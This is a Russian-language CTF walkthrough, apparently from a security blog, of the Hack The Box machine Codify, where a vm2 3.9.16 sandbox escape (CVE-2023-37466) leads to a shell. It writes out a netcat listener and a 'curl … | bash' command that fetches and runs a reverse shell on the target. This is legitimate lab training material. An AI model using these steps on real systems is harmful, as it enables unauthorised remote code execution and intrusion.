Побег из песоч­ницы vm2 уяз­вимос­ть CVE-2023-37466

Побег из песоч­ницы vm2 уяз­вимос­ть CVE-2023-37466

Сегодня, на примере уязвимой машины Codify с площадки Hack The Box, рассмотрим побег из песоч­ницы vm2 эксплуатируя уяз­вимос­ти CVE-2023-37466.

Еще по теме: Эксплуатация уязвимости WinRAR

Побег из песоч­ницы vm2 уяз­вимос­ть CVE-2023-37466

После добавления IP-адреса машины в файл /etc/hosts и запуска сканирования портов были обнаружены три открытых порта:

  • Порт 22 — служба OpenSSH версии 8.9p1.
  • Порт 80 — веб-сервер Apache версии 2.4.52.
  • Порт 3000 — приложение Node.js Express.

Исходя из списка открытых портов, становится понятно, что для получения доступа к серверу необходимо найти и эксплуатировать уязвимость на веб-сайте, поскольку брут пароля SSH на платформе Hack The Box не рекомендуется.

Сай­т codify.htb
Сай­т codify.htb

Сайт предоставляет возможность тестировать код на Node.js в изолированной среде прямо на самом сайте.

Ре­дак­тор кода Node.js
Окно ре­дак­тора кода Node.js

На стра­нице About us есть информа­ция о редак­торе кода. Для исполне­ния он исполь­зует JavaScript-песоч­ницу vm2.

Стра­ница About us
Стра­ница About us

Ссыл­ка на сай­те ведет не на самую пос­леднюю вер­сию биб­лиоте­ки vm2, а на вер­сию 3.9.16, которая, веро­ятно, и исполь­зует­ся на сер­вере.

Пер­вым делом сто­ит про­верить, есть ли для обна­ружен­ной вер­сии готовые экс­пло­иты. Для это­го мож­но исполь­зовать Google или сра­зу заг­лядывать в спе­циали­зиро­ван­ные базы дан­ных вро­де HackerOne и Exploit-DB, а так­же на GitHub. На пос­леднем ресур­се и находим упо­мина­ние уяз­вимос­ти CVE-2023-37466, которой под­верже­на исполь­зуемая вер­сия vm2.

Эксплоит уяз­вимос­ть CVE-2023-37466
Эксплоит для уяз­вимос­ти CVE-2023-37466

По иден­тифика­тору уяз­вимос­ти находим PoC, который поз­воля­ет вый­ти из песоч­ницы и выпол­нить ука­зан­ные коман­ды непос­редс­твен­но в сис­теме. В качес­тве тес­та запус­тим на локаль­ном хос­те лис­тенер (nc -lvp 80) и выпол­ним на уда­лен­ном сер­вере зап­рос с помощью curl.

Ре­дак­тор кода
Ре­дак­тор кода

 

Ло­ги лис­тенера
Ло­ги лис­тенера

Ко­ман­да была выпол­нена, а зна­чит, мож­но заг­рузить реверс‑шелл.

За­пус­каем лис­тенер:

На уда­лен­ном сер­вере коман­дой curl http://[address] | bash соз­даем реверс‑шелл на Python:

Так мы получа­ем дос­туп к сис­теме используя pwncat.

Сес­сия pwncat
Сес­сия pwncat

На этом все. Теперь вы знаете, как эксплуатировать уязвимость песоч­ницы vm2 (CVE-2023-37466).

ПОЛЕЗНЫЕ ССЫЛКИ:

Дима (Kozhuh)

Эксперт в кибербезопасности. Работал в ведущих компаниях занимающихся аналитикой компьютерных угроз. Анонсы новых статей в Телеграме.

Добавить комментарий